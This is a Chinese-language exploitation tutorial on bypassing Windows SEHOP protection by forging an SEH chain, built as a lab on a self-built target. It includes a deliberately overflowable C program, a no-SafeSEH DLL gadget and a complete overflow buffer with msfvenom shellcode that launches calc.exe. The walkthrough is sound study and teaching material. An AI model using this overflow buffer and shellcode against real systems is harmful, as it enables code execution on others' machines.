1.1    SEHOP保护机制

1.1.1    SEHOP工作原理:

SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下:

BOOL RtlIsValidHandler(handler)

{

if (handler is in an image) {

if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)

return FALSE;

if (image has a SafeSEH table)

if (handler found in the table)

return TRUE;

else

return FALSE;

if (image is a .NET assembly with the ILonly flag set)

return FALSE;

// fall through

}

if (handler is on a non-executable page) {

if (ExecuteDispatchEnable bit set in the process flags)

return TRUE;

else

// enforce DEP even if we have no hardware NX

raise ACCESS_VIOLATION;

}

if (handler is not in an image) {

if (ImageDispatchEnable bit set in the process flags)

return TRUE;

else

return FALSE; // don't allow handlers outside of images

}

// everything else is allowed

return TRUE;

}

[...]

// Skip the chain validation if the

DisableExceptionChainValidation bit is set

if (process_flags & 0x40 == 0) {

// Skip the validation if there are no SEH records on the

// linked list

if (record != 0xFFFFFFFF) {

// Walk the SEH linked list

do {

// The record must be on the stack

if (record < stack_bottom || record > stack_top)

goto corruption;

// The end of the record must be on the stack

if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top)

goto corruption;

// The record must be 4 byte aligned

if ((record & 3) != 0)

goto corruption;

handler = record->handler;

// The handler must not be on the stack

if (handler >= stack_bottom && handler < stack_top)

goto corruption;

record = record->next;

} while (record != 0xFFFFFFFF);

// End of chain reached

// Is bit 9 set in the TEB->SameTebFlags field?

// This bit is set in ntdll!RtlInitializeExceptionChain,

// which registers FinalExceptionHandler as an SEH handler

// when a new thread starts.

if ((TEB->word_at_offset_0xFCA & 0x200) != 0) {

// The final handler must be ntdll!FinalExceptionHandler

if (handler != &FinalExceptionHandler)

goto corruption;

}

}

}

在程序转入异常处理前,SEHOP会检查SEH链上最后一个异常处理函数是否为系统固定的终极异常处理函数,如果是,则说明这条SEH链没有被破坏,程序可以去执行道歉的异常处理函数,如果检测到最后一个异常处理函数不是终极异常处理函数,那说明SHE链被破坏,程序将不会执行当前的异常处理函数。

1.1.2    SEHOP绕过思路:

作为SafeSEH强有力的补充,SEHOP检查是在RtlIsVaildHandler函数校验前进行的,也就是说之前我们绕过SafeSEH机制用到过的利用加载模块之外的地址,堆地址和未启用SafeSEH模块的方法都行不通了。

那么面对新的挑战,应该怎么办?

l  攻击返回地址或者虚函数

l  利用未启用SEHOP的模块

l  伪造SHE链

1.1.3    通过伪造SEHOP链绕过SEHOP保护机制

⑴.  原理分析:

SEHOP的原理就是检测SEH链中最后一个异常处理函数的指针是否指向一个固定的终极异常处理函数,那么,我们在在溢出是伪造一个SEH链,就可以绕过SEHOP了。

⑵.环境准备:

i.实验代码:

生成没有SafeSEH保护的dll文件的代码。

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)

{

return TRUE;

}

void jump()

{

__asm{

pop eax

pop eax

retn

}

}

生成没有ASLR和DEP保护的exe文件。

#include "stdafx.h"

#include <string.h>

#include <windows.h>

char shellcode[]=

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\x2c\xFF\x12\x00"//address of last seh record

"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module

"\x90\x90\x90\x90\x90\x90\x90\x90"

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"

"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"

"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"

"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

"\x90\x90\x90"

"\xFF\xFF\xFF\xFF"// the fake seh record

"\x95\xe1\xbd\x77"

;

DWORD MyException(void)

{

printf("There is an exception");

getchar();

return 1;

}

void test(char * input)

{

char str[200];

//strcpy(str,input);

memcpy(str,input,460);

int zero=0;

__try

{

zero=1/zero;

}

__except(MyException())

{

}

}

int _tmain(int argc, _TCHAR* argv[])

{

HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module

char str[200];

//__asm int 3

test(shellcode);

return 0;

}

ii.测试环境:

测试平台:Windows 7 32位

注册表设置DisableExceptionChainVaildation值为0。

开启SEHOP保护机制。

编译环境:

编译器:visual 2008

exe文件:

关闭ASLR,DEP。

Dll文件:

不开启任何的保护机制。

⑶.调试分析:

i.查看缓冲区溢出前的SEH链:

得到,第一个异常处理函数指针为0x0012fe58,最终SEH链异常处理函数值为0x77bde195。

ii.确定缓冲区大小:

缓冲区从0x0012fd80开始,大小为0xd8=216字节。

iii.跳板地址:

还是用之前的OllyFindAddr插件,得到PPR跳板地址:0x11121012

⑷.攻击过程:

i.计算溢出量:

我们的目的是用跳板地址覆盖函数返回地址以达到控制EIP的目的,是程序挑战到payload执行。

为什么不直接用payload的起始地址覆盖返回地址?

因为,exe文件的异常处理函数是有SafeSEH保护机制保护的,直接覆盖会报错的。而dll文件没有SafeSEH机制的保护,所以可以利用dll文件中的指令作为跳板,控制EIP。

溢出量 =异常处理函数指针–缓冲区起始地址= 0x0012fe58-0x0012fd80=216字节。

ii.伪造SEH链

为了绕过SEHOP保护机制,就应该伪造一个最终的异常处理函数,这个最终的异常处理函数应该符合以下要求:

l  伪造最终异常处理函数指针应该与真实的相同(0x77bde195)

l  伪造最终异常处理函数指针前4字节(SEH链指针)应为0xFFFFFFFF

l  SEH链指针地址应该能被4整除(SEHOP工作原理中介绍的验证函数中可以看到相关的判断)。

iii.生成payload

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

iv.构造shellcode

综上所述,shellcode结构如下:

v.执行攻击

成功。

内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制的更多相关文章

  1. 内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR

    ASLR保护机制 ASLR简介 微软在Windows Vista.2008 server.Windows 7.Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像 ...

  2. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数

    1.    DEP内存保护机制 1.1   DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...

  3. Swift - 二进制,八进制,十六机制的表示方法

    当前位置: 首页 > 编程社区 > Swift > Swift - 二进制,八进制,十六机制的表示方法 Swift - 二进制,八进制,十六机制的表示方法 2015-01-23 14 ...

  4. 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数

    利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴.  原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...

  5. 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH

    利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴.  原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...

  6. 逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试

    GS简介: Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断 ...

  7. UAC 实现原理及绕过方法-打洞专用

    首页 新随笔 订阅 管理 随笔 - 7  文章 - 0  评论 - 0 UAC 实现原理及绕过方法   目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...

  8. UAC 实现原理及绕过方法

    目录 0x00 UAC 工作流程 0x01 UAC 实现方法(用户登陆过程) 0x02 UAC 架构 0x03 触发UAC 0x04 UAC 虚拟化 0x05 UAC 逆向分析 1x00 UAC By ...

  9. Linux保护机制和绕过方式

    Linux保护机制和绕过方式 CANNARY(栈保护) ​ 栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行.用C ...

随机推荐

  1. Salesforce中Html的转义,InputField和RemoteAction

    在Salesforce的开发中,有时候需要在对象中插入记录,其中有的字段需要插入Html,但是对于输入Html的域,大多数框架和网站都需要做Html的转义处理,防止XSS或者SQL注入攻击.有时候我们 ...

  2. cocos2d-x项目中如何避免增加一个cpp就必须在工程android.mk文件去添加引用

    LOCAL_SRC_FILES := hellocpp/main.cpp \       ../../Classes/AppDelegate.cpp \ ../../Classes/HelloWorl ...

  3. 三年半Java后端面试经历

    经过半年的沉淀,加上对MySQL,redis和分布式这块的补齐,终于开始重拾面试信心,再次出征. 鹅厂 面试职位:go后端开发工程师,接受从Java转语言 都知道鹅厂是cpp的主战场,而以cpp为背景 ...

  4. Kafka架构

    一.Kafka介绍 Kafka是Linkin在2010年开源的分布式发布订阅消息系统,Kafka是高吞吐量的消息订阅系统. 二.Kafka结构 Kafka由三部分构成,producer.broker. ...

  5. [CF730J]Bottles

    题目大意:每个瓶子有一定的容积,以及一定的水量,问最少几个瓶子装满所有水,在此基础上还要最小化移动水的体积 第一问用贪心直接求第二问转化成背包问题设dp[i][j]表示前i桶水总容积为j的最多水量,这 ...

  6. 【转】Python 字符串大小写转换

    转载自:python 中字符串大小写转换 一.pyhton字符串的大小写转换, 常用的有以下几种方法: 1.对字符串中所有字符(仅对字母有效)的大小写转换,有两个方法: print 'just to ...

  7. mysql字符编码的设置以及mysql中文乱码的解决方法

    查看字符编码 首先,将中文插入到数据库乱码是因为没有将数据库编码设置为支持中文的编码,mysql的默认编码是Latin1,不支持中文,应该设置为utf8查看自己的数据库编码是否已设置好,进入数据库,输 ...

  8. Spring的注解配置与XML配置之间的比较

    注释配置相对于 XML 配置具有很多的优势: 它可以充分利用 Java 的反射机制获取类结构信息,这些信息可以有效减少配置的工作. 如:使用 JPA 注释配置 ORM 映射时,我们就不需要指定 PO ...

  9. jQuery实际案例②——三层轮播图

    1.如图,这种轮播图需要实现的是,当鼠标移到2上时,第二张图片从右侧过来 2.需要注意的:①很明显这是通过改变z-index与left值来实现的:  ②整体布局需注意,图与数值(1,2,3,4,5)两 ...

  10. spring mvc: 属性方法名称解析器(多动作控制器)MultiActionController/ControllerClassNameHandlerMapping/PropertiesMethodNameResolver

    spring mvc: 属性方法名称解析器(多动作控制器) 加入控制器是StudentContrller.java,里面有3个方法 index,add,remove 那么访问地址是: http://l ...